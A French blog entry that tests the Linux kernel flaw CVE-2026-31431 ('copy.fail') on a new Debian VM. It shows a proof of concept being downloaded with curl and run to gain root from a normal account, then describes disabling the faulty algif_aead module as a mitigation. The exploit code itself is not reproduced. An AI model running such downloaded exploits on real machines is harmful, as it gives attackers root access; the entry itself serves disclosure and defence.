<?xml version="1.0" encoding="utf-8"?>
<entry title="Test de copy.fail et d'un contournement">
  <date>2026-04-30</date>
<content>
  <p>Petit test de la faille de sécurité du
  <wikipedia name="Noyau de système d'exploitation">noyau</wikipedia>
  <wikipedia name="Noyau Linux">Linux</wikipedia> <link
  url="https://copy.fail/">copy.fail</link> (CVE-2026-31431) sur une
  <wikipedia name="Machine virtuelle">VM</wikipedia> neuve.</p>
  <p>La <link
  url="https://xint.io/blog/copy-fail-linux-distributions">faille
  CVE-2026-31431 est
  très sérieuse</link>. Premier avertissement : la sécurité, c'est compliqué et ne croyez
  donc pas aveuglément ce que j'écris ou ce que vous avez compris de
  cet article. Deuxième avertissement : les manipulations effectuées
  dans cet article sont <emphasis>dangereuses</emphasis>. Réservées
  aux adultes consentants.</p>
  <p>J'ai créé une <wikipedia name="Machine virtuelle">VM</wikipedia> neuve chez <link
  url="https://v.ps/">xTom</link>, avec le système
  <wikipedia>Debian</wikipedia> 13. Aucune modification de mon côté,
  c'est une Debian pure.</p>
  <p>Le compte normal est <computer>toto</computer>. Il ne peut pas
  utiliser <computer>su</computer> sans le mot de passe de <wikipedia name="Utilisateur root">root</wikipedia> :
  <code>
toto@s55486:~$ id
uid=1000(toto) gid=1000(toto) groups=1000(toto),100(users)

toto@s55486:~$ su
Password: 
  </code>
  </p>
  <p>On télécharge le <wikipedia name="Preuve de concept">POC</wikipedia> d'exploitation de la
  faille :
  <code>
toto@s55486:~$ curl https://copy.fail/exp > copyfail
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   3458      0 --:--:-- --:--:-- --:--:--  3448

toto@s55486:~$ more copyfail 
#!/usr/bin/env python3
…
  </code>
  On l'examine mais, de toute façon, il est peu compréhensible. On le
  fait tourner (et je me répète, <emphasis>ne faites pas ça sur une
  machine de production !!!</emphasis>) :
  <code>
toto@s55486:~$ python3 copyfail
# id
uid=0(root) gid=1000(toto) groups=1000(toto),100(users)

toto@s55486:~$ su
# 
  </code>
  Et voilà, on est root.</p>
  <p>Pour empêcher cela, en attendant la disponibilité d'un noyau
  réparé (<link
  url="https://security-tracker.debian.org/tracker/CVE-2026-31431">pas
  encore sur Debian</link><!-- Ubuntu
  https://ubuntu.com/security/CVE-2026-31431 -->), on désactive le module noyau bogué :
  <code>
root@s55486 ~ # echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
root@s55486 ~ # rmmod algif_aead
  </code>
  On répare l'exécutable su, à partir d'une autre machine Debian et on
  teste le POC :
  <code>
<![CDATA[
toto@s55486:~$ python3 copyfail
Traceback (most recent call last):
  File "/home/toto/copyfail", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ~^^^^^^^^^^^^^^
  File "/home/toto/copyfail", line 5, in c
…
FileNotFoundError: [Errno 2] No such file or directory
]]>

toto@s55486:~$ su
Password: 
  </code>
  Et voilà, on est normalement en sécurité. C'est par exemple ce qu'a
  fait <link
  url="https://mastodon.nl/@nlnogring/116492589638301361">NLNOG sur
  les machines du RING</link>.</p>
  <p>Alain Thivillon me dit que sur les systèmes d'exploitation
  <wikipedia name="Red Hat">Red Hat</wikipedia> comme <wikipedia
  name="Fedora Linux">Fedora</wikipedia> le module est lié
  statiquement au noyau et <link
  url="https://www.openwall.com/lists/oss-security/2026/04/30/2">il
  faut redémarrer avec ça</link> sur la ligne de commande du noyau :
<code>
initcall_blacklist=algif_aead_init
</code>
</p>
</content>
</entry>
